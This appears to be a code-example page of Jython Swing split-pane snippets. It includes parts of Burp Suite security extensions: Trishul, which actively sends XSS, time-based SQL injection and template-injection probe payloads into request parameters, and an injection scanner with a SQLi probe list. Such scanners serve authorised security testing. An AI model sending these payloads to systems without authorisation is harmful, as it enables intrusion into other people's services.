예제 #1
0
파일: NammuView.py 프로젝트: oracc/nammu
 def addCenterPane(self, atfAreaView, consoleView):
     splitPane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
     splitPane.setTopComponent(atfAreaView)
     splitPane.setBottomComponent(consoleView)
     splitPane.setDividerSize(5)
     self.getContentPane().add(splitPane, BorderLayout.CENTER)
     # Make console's high remain smaller compared to edit area
     splitPane.setResizeWeight(0.9)
예제 #2
0
 def addCenterPane(self, atfAreaView, consoleView):
     splitPane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
     splitPane.setTopComponent(atfAreaView)
     splitPane.setBottomComponent(consoleView)
     splitPane.setDividerSize(5)
     self.getContentPane().add(splitPane, BorderLayout.CENTER)
     # Make console's high remain smaller compared to edit area
     splitPane.setResizeWeight(0.9)
예제 #3
0
class TypeDefinitionTab(burp.ITab):
    """Implements an interface for editing known message type definitions."""
    def __init__(self, burp_callbacks):
        self._burp_callbacks = burp_callbacks

        self._type_list_component = JList(
            blackboxprotobuf.known_messages.keys())
        self._type_list_component.setSelectionMode(
            ListSelectionModel.SINGLE_SELECTION)

        self._component = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._component.setLeftComponent(JScrollPane(
            self._type_list_component))
        self._component.setRightComponent(self.createButtonPane())
        self._component.setResizeWeight(0.9)

    def getTabCaption(self):
        """Returns name on tab"""
        return "Protobuf Type Editor"

    def getUiComponent(self):
        """Returns Java AWT component for tab"""
        return self._component

    def createButtonPane(self):
        """Create AWT window panel for buttons"""
        self._button_listener = TypeDefinitionButtonListener(self)

        panel = JPanel()
        panel.setLayout(BoxLayout(panel, BoxLayout.Y_AXIS))

        panel.add(self.createButton("New Type", "new-type"))
        panel.add(self.createButton("Edit Type", "edit-type"))
        panel.add(self.createButton("Delete Type", "delete-type"))
        panel.add(self.createButton("Save All Types To File", "save-types"))
        panel.add(self.createButton("Load All Types To File", "load-types"))
        return panel

    def createButton(self, text, command):
        """Generate new button with the given text and command string"""
        button = JButton(text)
        button.setAlignmentX(Component.CENTER_ALIGNMENT)
        button.setActionCommand(command)
        button.addActionListener(self._button_listener)
        return button

    def updateList(self):
        """Let the UI know that the list of message types has been updated"""
        self._type_list_component.setListData(
            blackboxprotobuf.known_messages.keys())
예제 #4
0
    def __init__(self, burp_callbacks, typedef, callback):
        self._burp_callbacks = burp_callbacks
        self._type_callback = callback
        self.setSize(1000,700)

        self._original_typedef = typedef
        self._type_editor = burp_callbacks.createTextEditor()
        self._type_editor.setEditable(True)
        self._type_editor.setText(json.dumps(self._original_typedef, indent=4))

        splitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        splitPane.setLeftComponent(self._type_editor.getComponent())
        splitPane.setRightComponent(self.createButtonPane())
        splitPane.setResizeWeight(0.8)

        self.add(splitPane)
    def start(self):

        self.frame = JDialog()
        #self.frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE)
        self.frame.setLocation(0, 1500)
        self.frame.setSize(1000, 200)

        self.tableDataModel = DefaultTableModel([], [
            "URL", "Code", "Content-Length", "Location", "Mutated Id",
            "Orig Id"
        ])
        self.jtable = JTable(self.tableDataModel)

        scrollPane = JScrollPane(self.jtable)
        self.jtable.setFillsViewportHeight(True)

        messageEditorOrig = self.callbacks.createMessageEditor(None, False)
        messageEditorModified = self.callbacks.createMessageEditor(
            None, False)
        self.editorSplitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT,
                                          messageEditorOrig.getComponent(),
                                          messageEditorModified.getComponent())
        self.editorSplitPane.setResizeWeight(0.5)

        splitPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, scrollPane,
                               self.editorSplitPane)
        splitPane.setResizeWeight(0.5)

        class TableSelector(ListSelectionListener):
            def __init__(self, plugin):
                self.plugin = plugin

            def valueChanged(self, event):
                if not event.getValueIsAdjusting():
                    selectedRowIndex = self.plugin.jtable.getSelectedRows()[0]

                    self.plugin._rowSelected(selectedRowIndex)

        self.jtable.getSelectionModel().addListSelectionListener(
            TableSelector(self))

        self.frame.add(splitPane)
        self.frame.setVisible(True)

        self.callbacks.registerHttpListener(self)
        self.callbacks.setExtensionName("Custom Plugin")
        return
예제 #6
0
    def __init__(self, extension, burp_callbacks):
        self._burp_callbacks = burp_callbacks
        self._extension = extension

        self._type_list_component = JList(extension.known_message_model)
        self._type_list_component.setSelectionMode(
            ListSelectionModel.MULTIPLE_INTERVAL_SELECTION)

        self._component = JPanel()
        self._component.setLayout(BoxLayout(self._component, BoxLayout.Y_AXIS))

        splitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        splitPane.setRightComponent(JScrollPane(self._type_list_component))
        splitPane.setLeftComponent(self.createButtonPane())
        splitPane.setResizeWeight(0.03)
        splitPane.setMaximumSize(Dimension(1000, 1000))

        self._component.add(splitPane)
        self._component.add(Box.createVerticalGlue())
        self._component.setBorder(EmptyBorder(10, 10, 10, 10))
예제 #7
0
    def __init__(self, burp_callbacks, typedef, callback):
        burp_window = None
        for frame in Frame.getFrames():
            if "Burp Suite" in frame.getName():
                burp_window = frame
                break
        JDialog.__init__(self, burp_window)
        self._burp_callbacks = burp_callbacks
        self._type_callback = callback
        self.setSize(1000, 700)

        self._original_typedef = typedef
        self._type_editor = burp_callbacks.createTextEditor()
        self._type_editor.setEditable(True)
        self._type_editor.setText(json.dumps(self._original_typedef, indent=4))

        splitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        splitPane.setLeftComponent(self._type_editor.getComponent())
        splitPane.setRightComponent(self.createButtonPane())
        splitPane.setResizeWeight(0.8)

        self.add(splitPane)

        self.is_open = True
예제 #8
0
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory, IHttpRequestResponseWithMarkers, ITextEditor):
	def registerExtenderCallbacks(self, callbacks):
		self._callbacks = callbacks
		#Initialize callbacks to be used later

		self._helpers = callbacks.getHelpers()
		callbacks.setExtensionName("Trishul")
		
		self._log = ArrayList()
		#_log used to store our outputs for a URL, which is retrieved later by the tool

		self._lock = Lock()
		#Lock is used for locking threads while updating logs in order such that no multiple updates happen at once
		
		self.intercept = 0

		self.FOUND = "Found"
		self.CHECK = "Possible! Check Manually"
		self.NOT_FOUND = "Not Found"
		#Static Values for output


		#Initialize GUI
		self.issuesTab()

		self.advisoryReqResp()

		self.configTab()

		self.tabsInit()

		self.definecallbacks()


		print("Thank You for Installing Trishul")

		return

	#
	#Initialize Issues Tab displaying the JTree
	#

	def issuesTab(self):
		self.root = DefaultMutableTreeNode('Issues')

		frame = JFrame("Issues Tree")

		self.tree = JTree(self.root)
		self.rowSelected = ''
		self.tree.addMouseListener(mouseclick(self))
		self.issuepanel = JScrollPane()
		self.issuepanel.setPreferredSize(Dimension(300,450))
		self.issuepanel.getViewport().setView((self.tree))
		frame.add(self.issuepanel,BorderLayout.CENTER)

	#
	#Adding Issues to Issues TreePath
	#
	def addIssues(self, branch, branchData=None):
		if branchData == None:
			branch.add(DefaultMutableTreeNode('No valid data'))
		else:
			for item in branchData:
				branch.add(DefaultMutableTreeNode(item))

	#
	#Initialize the Config Tab to modify tool settings
	#
	def configTab(self):
		Config = JLabel("Config")
		self.startButton = JToggleButton("Intercept Off", actionPerformed=self.startOrStop)
		self.startButton.setBounds(40, 30, 200, 30)

		self.autoScroll = JCheckBox("Auto Scroll")
		self.autoScroll.setBounds(40, 80, 200, 30)

		self.xsscheck = JCheckBox("Detect XSS")
		self.xsscheck.setSelected(True)
		self.xsscheck.setBounds(40, 110, 200, 30)
		
		self.sqlicheck = JCheckBox("Detect SQLi")
		self.sqlicheck.setSelected(True)
		self.sqlicheck.setBounds(40, 140, 200, 30)
		
		self.ssticheck = JCheckBox("Detect SSTI")
		self.ssticheck.setSelected(True)
		self.ssticheck.setBounds(40, 170, 200, 30)

		self.blindxss = JCheckBox("Blind XSS")
		self.blindxss.setBounds(40, 200, 200, 30)

		self.BlindXSSText = JTextArea("", 5, 30)

		scrollbxssText = JScrollPane(self.BlindXSSText)
		scrollbxssText.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED)
		scrollbxssText.setBounds(40, 250, 400, 110) 

		self.configtab = JPanel()
		self.configtab.setLayout(None)
		self.configtab.setBounds(0, 0, 300, 300)
		self.configtab.add(Config)
		self.configtab.add(self.startButton)
		self.configtab.add(self.autoScroll)
		self.configtab.add(self.xsscheck)
		self.configtab.add(self.sqlicheck)
		self.configtab.add(self.ssticheck)
		self.configtab.add(self.blindxss)
		self.configtab.add(scrollbxssText)

	#
	#Turn Intercept from Proxy on or off
	#
	def startOrStop(self, event):
		if self.startButton.getText() == "Intercept Off":
			self.startButton.setText("Intercept On")
			self.startButton.setSelected(True)
			self.intercept = 1
		else:
			self.startButton.setText("Intercept Off")
			self.startButton.setSelected(False)
			self.intercept = 0

	#
	#Intialize the Advisory, Request and Response Tabs
	#
	def advisoryReqResp(self):
		self.textfield = JEditorPane("text/html", "")
		self.kit = HTMLEditorKit()
		self.textfield.setEditorKit(self.kit)
		self.doc = self.textfield.getDocument()
		self.textfield.setEditable(0)
		self.advisorypanel = JScrollPane()
		self.advisorypanel.getVerticalScrollBar()
		self.advisorypanel.setPreferredSize(Dimension(300,450))
		self.advisorypanel.getViewport().setView((self.textfield))

		self.selectedreq = []

		self._requestViewer = self._callbacks.createMessageEditor(self, False)
		self._responseViewer = self._callbacks.createMessageEditor(self, False)
		self._texteditor = self._callbacks.createTextEditor()
		self._texteditor.setEditable(False)

	#
	#Initialize Trishul Tabs
	#
	def tabsInit(self):
		self.logTable = Table(self)
		tableWidth = self.logTable.getPreferredSize().width
		self.logTable.getColumn("#").setPreferredWidth(Math.round(tableWidth / 50 * 0.1))
		self.logTable.getColumn("Method").setPreferredWidth(Math.round(tableWidth / 50 * 3))
		self.logTable.getColumn("URL").setPreferredWidth(Math.round(tableWidth / 50 * 40))
		self.logTable.getColumn("Parameters").setPreferredWidth(Math.round(tableWidth / 50 * 1))
		self.logTable.getColumn("XSS").setPreferredWidth(Math.round(tableWidth / 50 * 4))
		self.logTable.getColumn("SQLi").setPreferredWidth(Math.round(tableWidth / 50 * 4))
		self.logTable.getColumn("SSTI").setPreferredWidth(Math.round(tableWidth / 50 * 4))
		self.logTable.getColumn("Request Time").setPreferredWidth(Math.round(tableWidth / 50 * 4))

		self.tableSorter = TableRowSorter(self)
		self.logTable.setRowSorter(self.tableSorter)

		self._bottomsplit = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
		self._bottomsplit.setDividerLocation(500)
		
		self.issuetab = JTabbedPane()
		self.issuetab.addTab("Config",self.configtab)
		self.issuetab.addTab("Issues",self.issuepanel)
		self._bottomsplit.setLeftComponent(self.issuetab)

		self.tabs = JTabbedPane()
		self.tabs.addTab("Advisory",self.advisorypanel)
		self.tabs.addTab("Request", self._requestViewer.getComponent())
		self.tabs.addTab("Response", self._responseViewer.getComponent())
		self.tabs.addTab("Highlighted Response", self._texteditor.getComponent())
		self._bottomsplit.setRightComponent(self.tabs)
		
		self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
		self._splitpane.setDividerLocation(450)
		self._splitpane.setResizeWeight(1)
		self.scrollPane = JScrollPane(self.logTable)
		self._splitpane.setLeftComponent(self.scrollPane)
		self.scrollPane.getVerticalScrollBar().addAdjustmentListener(autoScrollListener(self))
		self._splitpane.setRightComponent(self._bottomsplit)

	#
	#Initialize burp callbacks
	#
	def definecallbacks(self):
		self._callbacks.registerHttpListener(self)
		self._callbacks.customizeUiComponent(self._splitpane)
		self._callbacks.customizeUiComponent(self.logTable)
		self._callbacks.customizeUiComponent(self.scrollPane)
		self._callbacks.customizeUiComponent(self._bottomsplit)
		self._callbacks.registerContextMenuFactory(self)
		self._callbacks.addSuiteTab(self)

	#
	#Menu Item to send Request to Trishul 
	#
	def createMenuItems(self, invocation):
		responses = invocation.getSelectedMessages()
		if responses > 0:
			ret = LinkedList()
			requestMenuItem = JMenuItem("Send request to Trishul")

			for response in responses:
				requestMenuItem.addActionListener(handleMenuItems(self,response, "request")) 
			ret.add(requestMenuItem)
			return ret
		return None

	#
	#Highlighting Response
	#
	def markHttpMessage( self, requestResponse, responseMarkString ):
		responseMarkers = None
		if responseMarkString:
			response = requestResponse.getResponse()
			responseMarkBytes = self._helpers.stringToBytes( responseMarkString )
			start = self._helpers.indexOf( response, responseMarkBytes, False, 0, len( response ) )
			if -1 < start:
				responseMarkers = [ array( 'i',[ start, start + len( responseMarkBytes ) ] ) ]

		requestHighlights = [array( 'i',[ 0, 5 ] )]
		return self._callbacks.applyMarkers( requestResponse, requestHighlights, responseMarkers )
	
	def getTabCaption(self):
		return "Trishul"

	def getUiComponent(self):
		return self._splitpane

	#
	#Table Model to display URL's and results based on the log size
	#
	def getRowCount(self):
		try:
			return self._log.size()
		except:
			return 0

	def getColumnCount(self):
		return 8

	def getColumnName(self, columnIndex):
		data = ['#','Method', 'URL', 'Parameters', 'XSS', 'SQLi', "SSTI", "Request Time"]
		try:
			return data[columnIndex]
		except IndexError:
			return ""

	def getColumnClass(self, columnIndex):
		data = [Integer, String, String, Integer, String, String, String, String]
		try:
			return data[columnIndex]
 		except IndexError:
			return ""

	#Get Data stored in log and display in the respective columns
	def getValueAt(self, rowIndex, columnIndex):
		logEntry = self._log.get(rowIndex)
		if columnIndex == 0:
			return rowIndex+1
		if columnIndex == 1:
			return logEntry._method
		if columnIndex == 2:
			return logEntry._url.toString()
		if columnIndex == 3:
			return len(logEntry._parameter)
		if columnIndex == 4:
			return logEntry._XSSStatus
		if columnIndex == 5:
			return logEntry._SQLiStatus
		if columnIndex == 6:
			return logEntry._SSTIStatus
		if columnIndex == 7:
			return logEntry._req_time
		return ""

	def getHttpService(self):
		return self._currentlyDisplayedItem.getHttpService()

	def getRequest(self):
		return self._currentlyDisplayedItem.getRequest()

	def getResponse(self):
		return self._currentlyDisplayedItem.getResponse()
	
	#For Intercepted requests perform tests in scope
	def processHttpMessage(self, toolFlag, messageIsRequest, messageInf):
		if self.intercept == 1:
			if toolFlag == self._callbacks.TOOL_PROXY:
				if not messageIsRequest:
					requestInfo = self._helpers.analyzeRequest(messageInf)
					requeststr = requestInfo.getUrl()
					parameters = requestInfo.getParameters()
					param_new = [p for p in parameters if p.getType() != 2]
					if len(param_new) != 0:
						if self._callbacks.isInScope(URL(str(requeststr))):
							start_new_thread(self.sendRequestToTrishul,(messageInf,))
		return

	#
	#Main processing of Trishul
	#
	def sendRequestToTrishul(self,messageInfo):
		request = messageInfo.getRequest()
		req_time = datetime.datetime.today()
		requestURL = self._helpers.analyzeRequest(messageInfo).getUrl()
		messageInfo = self._callbacks.makeHttpRequest(self._helpers.buildHttpService(str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https"), request)
		resp_time = datetime.datetime.today()
		time_taken = (resp_time - req_time).total_seconds()
		response = messageInfo.getResponse()
		#initialozations of default value
		SQLiimp = self.NOT_FOUND
		SSTIimp = self.NOT_FOUND
		XSSimp = self.NOT_FOUND
		Comp_req = messageInfo
		requestInfo = self._helpers.analyzeRequest(messageInfo)
		self.content_resp = self._helpers.analyzeResponse(response)
		requestURL = requestInfo.getUrl()
		parameters = requestInfo.getParameters()
		requeststring = self._helpers.bytesToString(request)
		headers = requestInfo.getHeaders()
		#Used to obtain GET, POST and JSON parameters from burp api
		param_new = [p for p in parameters if p.getType() == 0 or p.getType() == 1 or p.getType() == 6]
		i = 0
		xssflag=0
		sqliflag=0
		sstiflag=0
		resultxss = []
		resultsqli = []
		resultssti = []
		xssreqresp = []
		sqlireqresp = []
		sstireqresp = []
		ssti_description = []
		sqli_description = []
		xss_description = []
		for i in range(len(param_new)):
			name =  param_new[i].getName()
			ptype =  param_new[i].getType()
			param_value = param_new[i].getValue()
			#check XSS if ticked
			if self.xsscheck.isSelected():
				score = 0
				flag1 = 0
				XSSimp = self.NOT_FOUND
				payload_array = ["<", ">", "\\\\'asd", "\\\\\"asd", "\\", "'\""]
				json_payload_array = ["<", ">", "\\\\'asd", "\\\"asd", "\\", "\'\\\""]
				payload_all = ""
				json_payload = ""
				rand_str = "testtest"
				for payload in payload_array:
					payload_all = payload_all+rand_str+payload
				payload_all = URLEncoder.encode(payload_all, "UTF-8")
				for payload in json_payload_array:
					json_payload = json_payload+rand_str+payload
				json_payload = URLEncoder.encode(json_payload, "UTF-8")
				if ptype == 0 or ptype == 1:
					new_paramters_value = self._helpers.buildParameter(name, payload_all, ptype)
					updated_request = self._helpers.updateParameter(request, new_paramters_value)
				else:
					jsonreq = re.search(r"\s([{\[].*?[}\]])$", requeststring).group(1)
					new = jsonreq.split(name+"\":",1)[1]
					if new.startswith('\"'):
						newjsonreq = jsonreq.replace(name+"\":\""+param_value,name+"\":\""+json_payload)
					else:
						newjsonreq = jsonreq.replace(name+"\":"+param_value,name+"\":\""+json_payload+"\"")
					updated_request = self._helpers.buildHttpMessage(headers, newjsonreq)

				attack = self.makeRequest(Comp_req, updated_request)
				response = attack.getResponse()
				response_str = self._helpers.bytesToString(response)
				xssreqresp.append(attack)
				if_found_payload = ""
				non_encoded_symbols = ""
				for check_payload in payload_array:
					if_found_payload = rand_str+check_payload
					if if_found_payload in response_str:
						non_encoded_symbols = non_encoded_symbols+"<br>"+check_payload.replace('<', '&lt;')
						score = score+1
						flag1 = 1
				if score > 2: XSSimp = self.CHECK
				if score > 3: XSSimp = self.FOUND
				xssflag = self.checkBetterScore(score,xssflag)
				if non_encoded_symbols == "   \\\\'asd":
					XSSimp = self.NOT_FOUND
				
				if non_encoded_symbols != '':
					xss_description.append("The Payload <b>" + payload_all.replace('<', '&lt;') + "</b> was passed in the request for the paramater <b>" + self._helpers.urlDecode(name) + "</b>. Some Tags were observed in the output unfiltered. A payload can be generated with the observed tags.<br>Symbols not encoded for parameter <b>" + name + "</b>: " + non_encoded_symbols)
				else:
					xss_description.append("")
			else:
				XSSimp = "Disabled"
			resultxss.append(XSSimp)

			if self.sqlicheck.isSelected():
				SQLiimp = self.NOT_FOUND
				score = 0
				value = "%27and%28select%2afrom%28select%28sleep%285%29%29%29a%29--"
				orig_time = datetime.datetime.today()
				if ptype == 0 or ptype == 1:
					new_paramters_value = self._helpers.buildParameter(name, value, ptype)
					updated_request = self._helpers.updateParameter(request, new_paramters_value)
				else:
					jsonreq = re.search(r"\s([{\[].*?[}\]])$", requeststring).group(1)
					new = jsonreq.split(name+"\":",1)[1]
					if new.startswith('\"'):
						newjsonreq = jsonreq.replace(name+"\":\""+param_value,name+"\":\""+value)
					else:
						newjsonreq = jsonreq.replace(name+"\":"+param_value,name+"\":\""+value+"\"")
					updated_request = self._helpers.buildHttpMessage(headers, newjsonreq)
				attack1 = self.makeRequest(Comp_req, updated_request)
				response1 = attack1.getResponse()
				new_time = datetime.datetime.today()
				response_str1 = self._helpers.bytesToString(response1)
				sqlireqresp.append(attack1)
				diff = (new_time - orig_time).total_seconds()
				if (diff - time_taken) > 3:
					score = 4
				
				self.error_array = ["check the manual that corresponds to your", "You have an error", "syntax error", "SQL syntax", "SQL statement", "ERROR:", "Error:", "MySQL","Warning:","mysql_fetch_array()"]
				found_text = ""
				for error in self.error_array:
					if error in response_str1:
						found_text = found_text + error
						score = score + 1
				if score > 1: SQLiimp = self.CHECK
				if score > 2: SQLiimp = self.FOUND
				sqliflag = self.checkBetterScore(score,sqliflag)

				if found_text != '':
					sqli_description.append("The payload <b>"+self._helpers.urlDecode(value)+"</b> was passed in the request for parameter <b>"+self._helpers.urlDecode(name)+"</b>. Some errors were generated in the response which confirms that there is an Error based SQLi. Please check the request and response for this parameter")
				elif (diff - time_taken) > 3:
					sqli_description.append("The payload <b>"+self._helpers.urlDecode(value)+"</b> was passed in the request for parameter <b>"+self._helpers.urlDecode(name)+"</b>. The response was in a delay of <b>"+str(diff)+"</b> seconds as compared to original <b>"+str(time_taken)+"</b> seconds. This indicates that there is a time based SQLi. Please check the request and response for this parameter")
				else:
					sqli_description.append("")
			else:
				SQLiimp = "Disabled"

			resultsqli.append(SQLiimp)

			if self.ssticheck.isSelected():
				score = 0
				SSTIimp = self.NOT_FOUND
				payload_array = ["${123*456}", "<%=123*567%>", "{{123*678}}"]
				json_payload_array = ["$\{123*456\}", "<%=123*567%>", "\{\{123*678\}\}"]
				payload_all = ""
				rand_str = "jjjjjjj"
				json_payload = ""
				for payload in payload_array:
					payload_all = payload_all+rand_str+payload
				for payload in json_payload_array:
					json_payload = json_payload+rand_str+payload
				payload_all = URLEncoder.encode(payload_all, "UTF-8")
				json_payload = URLEncoder.encode(json_payload, "UTF-8")
				if ptype == 0 or ptype == 1:
					new_paramters_value = self._helpers.buildParameter(name, payload_all, ptype)
					updated_request = self._helpers.updateParameter(request, new_paramters_value)
				else:
					jsonreq = re.search(r"\s([{\[].*?[}\]])$", requeststring).group(1)
					new = jsonreq.split(name+"\":",1)[1]
					if new.startswith('\"'):
						newjsonreq = jsonreq.replace(name+"\":\""+param_value,name+"\":\""+json_payload)
					else:
						newjsonreq = jsonreq.replace(name+"\":"+param_value,name+"\":\""+json_payload+"\"")
					updated_request = self._helpers.buildHttpMessage(headers, newjsonreq)
				
				attack = self.makeRequest(Comp_req, updated_request)
				response = attack.getResponse()
				response_str = self._helpers.bytesToString(response)
				self.expected_output = ["56088","69741","83394","3885","777777777777777"]
				for output in self.expected_output:
					if_found_payload = rand_str+output
					if if_found_payload in response_str:
						if output == self.expected_output[0]:
							sstireqresp.append(attack)
							ssti_description.append("Parameter <b>" + self._helpers.urlDecode(name) + "</b> is using <b>Java</b> Template<br>The value <b>" + payload_new + "</b> was passed which gave result as <b>56088</b>")
							score = 2
						if output == self.expected_output[1]:
							sstireqresp.append(attack)
							ssti_description.append("Parameter <b>" + self._helpers.urlDecode(name) + "</b> is using <b>Ruby</b> Template<br>The value <b>" + payload_new + "</b> was passed which gave result as <b>69741</b>")
							score = 2
						if output == self.expected_output[2]:
							payload_new = "{{5*'777'}}"
							json_payload_ssti = "\{\{5*'777'\}\}"
							payload = URLEncoder.encode("{{5*'777'}}", "UTF-8")
							json_ssti = URLEncoder.encode("\{\{5*'777'\}\}", "UTF-8")
							if ptype == 0 or ptype == 1:
								new_paramters = self._helpers.buildParameter(name, payload, ptype)
								ssti_updated_request = self._helpers.updateParameter(request, new_paramters)
							else:
								jsonreq = re.search(r"\s([{\[].*?[}\]])$", requeststring).group(1)
								new = jsonreq.split(name+"\":",1)[1]
								if new.startswith('\"'):
									newjsonreq = jsonreq.replace(name+"\":\""+param_value,name+"\":\""+json_ssti)
								else:
									newjsonreq = jsonreq.replace(name+"\":"+param_value,name+"\":\""+json_ssti+"\"")
								ssti_updated_request = self._helpers.buildHttpMessage(headers, newjsonreq)
							self.ssti_attack = self.makeRequest(Comp_req, ssti_updated_request)
							ssti_response = self.ssti_attack.getResponse()
							ssti_response_str = self._helpers.bytesToString(ssti_response)
							if self.expected_output[3] in ssti_response_str:
								sstireqresp.append(self.ssti_attack)
								ssti_description.append("Parameter <b>" + self._helpers.urlDecode(name) + "</b> is using <b>Twig</b> Template<br>The value <b>" + payload_new + "</b> was passed which gave result as <b>3885</b>")
								score = 2
							elif self.expected_output[4] in ssti_response_str:
								sstireqresp.append(self.ssti_attack)
								self.responseMarkString = "777777777777777"
								ssti_description.append("Parameter <b>" + self._helpers.urlDecode(name) + "</b> is using <b>Jinja2</b> Template<br>The value <b>" + payload_new + "</b> was passed which gave result as <b>777777777777777</b>")
								score = 2
						if score > 0: SSTIimp = self.CHECK
						if score > 1: SSTIimp = self.FOUND
						sstiflag = self.checkBetterScore(score,sstiflag)
			else:
				SSTIimp = "Disabled"

			resultssti.append(SSTIimp)

			if self.blindxss.isSelected():
				blindxss_value = self.BlindXSSText.getText()
				if ptype == 0 or ptype == 1:
					new_paramters_value = self._helpers.buildParameter(name, blindxss_value, ptype)
					updated_request = self._helpers.updateParameter(request, new_paramters_value)
				else:
					jsonreq = re.search(r"\s([{\[].*?[}\]])$", requeststring).group(1)
					new = jsonreq.split(name+"\":",1)[1]
					if new.startswith('\"'):
						newjsonreq = jsonreq.replace(name+"\":\""+param_value,name+"\":\""+blindxss_value)
					else:
						newjsonreq = jsonreq.replace(name+"\":"+param_value,name+"\":\""+blindxss_value+"\"")
					updated_request = self._helpers.buildHttpMessage(headers, newjsonreq)
				attack = self.makeRequest(Comp_req, updated_request)

		if XSSimp != "Disabled":
			if xssflag > 3: XSSimp = self.FOUND
			elif xssflag > 2: XSSimp = self.CHECK
			else: XSSimp = self.NOT_FOUND

		if SSTIimp != "Disabled":
			if sstiflag > 1: SSTIimp = self.FOUND
			elif sstiflag > 0: SSTIimp = self.CHECK
			else: SSTIimp = self.NOT_FOUND

		if SQLiimp != "Disabled":
			if sqliflag > 3: SQLiimp = self.FOUND
			elif sqliflag > 2: SQLiimp = self.CHECK
			else: SQLiimp = self.NOT_FOUND

		self.addToLog(messageInfo, XSSimp, SQLiimp, SSTIimp, param_new, resultxss, resultsqli, resultssti, xssreqresp, sqlireqresp, sstireqresp , xss_description, sqli_description, ssti_description, req_time.strftime('%H:%M:%S %m/%d/%y'))


	#
	#Function used to check if the score originally and mentioned is better
	#
	def checkBetterScore(self, score, ogscore):
		if score > ogscore:
			ogscore = score
		return ogscore


	def makeRequest(self, messageInfo, message):
		request = messageInfo.getRequest()
		requestURL = self._helpers.analyzeRequest(messageInfo).getUrl()
		return self._callbacks.makeHttpRequest(self._helpers.buildHttpService(str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https"), message)

	
	def addToLog(self, messageInfo, XSSimp, SQLiimp, SSTIimp, parameters, resultxss, resultsqli, resultssti, xssreqresp, sqlireqresp, sstireqresp, xss_description, sqli_description, ssti_description, req_time):
		requestInfo = self._helpers.analyzeRequest(messageInfo)
		method = requestInfo.getMethod()
		self._lock.acquire()
		row = self._log.size()
		self._log.add(LogEntry(self._callbacks.saveBuffersToTempFiles(messageInfo), requestInfo.getUrl(),method,XSSimp,SQLiimp,SSTIimp,req_time, parameters,resultxss, resultsqli, resultssti, xssreqresp, sqlireqresp, sstireqresp, xss_description, sqli_description, ssti_description)) # same requests not include again.
		SwingUtilities.invokeLater(UpdateTableEDT(self,"insert",row,row))
		self._lock.release()
예제 #9
0
class BurpExtender(IBurpExtender, IContextMenuFactory, ITab,
                   IExtensionStateListener, IMessageEditorController,
                   IHttpListener):
    '''
    IBurpExtender:               Hook into burp and inherit base classes
    ITab:                        Create new tabs inside burp
    IMessageEditorTabFactory:    Access createNewInstance
    '''
    def registerExtenderCallbacks(self, callbacks):

        # Set encoding to utf-8 to avoid some errors
        reload(sys)
        sys.setdefaultencoding('utf8')

        # Keep a reference to callback object and helper object
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        # Set the extension name that shows in the burp extension menu
        callbacks.setExtensionName("InjectionScanner")

        # Create the log and a lock on which to synchronize when adding log entries
        self._log = ArrayList()
        self._logLock = Lock()
        self._httpLock = Lock()

        # The length of the basis used to fetch abnormal data, default to zero
        self._basisLen = 0

        # 1: {POST. GET}; 2: {urlencoded, json, xml}
        self._postGet = 'NaN'
        self._dataType = 'NaN'

        # Scan list
        self._simpleList = [
            '\'', '\"', '/', '/*', '#', ')', '(', ')\'', '(\'', 'and 1=1',
            'and 1=2', 'and 1>2', 'and 12', '+', 'and+12', '/**/and/**/1'
        ]
        self._xmlList = ['a', 'b', 'c', 'd', 'e']  # Not setted

        # Response mutex: True = is blocking; False = free to go
        # self._mutexR = False

        # Other classes instance
        self._dataTable = Guis_DefaultTM()
        self._logTable = Guis_AbstractTM(self)
        self._xh = XMLHandler()
        listeners = Guis_Listeners(self, self._logTable)
        '''
        Setting GUIs
        '''
        # Divide the whole pane two: one upper and one lower pane
        self._mainSplitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
        self._mainSplitpane.setResizeWeight(0.4)

        # Initizlize request table
        dataTable = JTable(self._dataTable)
        dataScrollPane = JScrollPane(dataTable)
        dataScrollPane.setPreferredSize(Dimension(0, 125))
        self._dataTable.addTableModelListener(listeners)

        # Initialize log table
        logTable = Guis_LogTable(self._logTable)
        logScrollPane = JScrollPane(logTable)
        logScrollPane.setPreferredSize(Dimension(0, 125))

        # Split the upper pane to two panes
        tableSplitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        tableSplitpane.setResizeWeight(0.5)

        # Set the data table to the left and log to the right
        tableSplitpane.setLeftComponent(dataScrollPane)
        tableSplitpane.setRightComponent(logScrollPane)

        # Tabs with request/response viewers
        tabs = JTabbedPane()
        self._requestViewer = callbacks.createMessageEditor(self, False)
        self._responseViewer = callbacks.createMessageEditor(self, False)
        tabs.addTab("Request", self._requestViewer.getComponent())
        tabs.addTab("Response", self._responseViewer.getComponent())

        # Create buttons that do operation with the test
        self._basisLabel = JLabel('Basis: ' + str(self._basisLen))
        self._levelLabel = JLabel('Level:')
        self._setBasisButton = JButton('Set Basis')
        self._hitOnceButton = JButton('Hit Once')
        self._autoScanButton = JButton('Auto Scan')
        self._clearLogButton = JButton('Clear Log')
        self._cancelButton = JButton('Cancel')
        self._levelSelection = JComboBox()

        self._levelSelection.addItem('1')
        self._levelSelection.addItem('2')
        self._levelSelection.addItem('3')
        self._hitOnceButton.addActionListener(listeners)
        self._autoScanButton.addActionListener(listeners)
        self._clearLogButton.addActionListener(listeners)
        self._setBasisButton.addActionListener(listeners)
        self._cancelButton.addActionListener(listeners)
        self._basisLabel.setPreferredSize(Dimension(100, 20))

        # Create bottom pane for holding the buttons
        buttonPane = JPanel()
        buttonPane.setLayout(BorderLayout())
        centerPane = JPanel()
        leftPane = JPanel()
        rightPane = JPanel()
        leftPane.add(self._basisLabel)
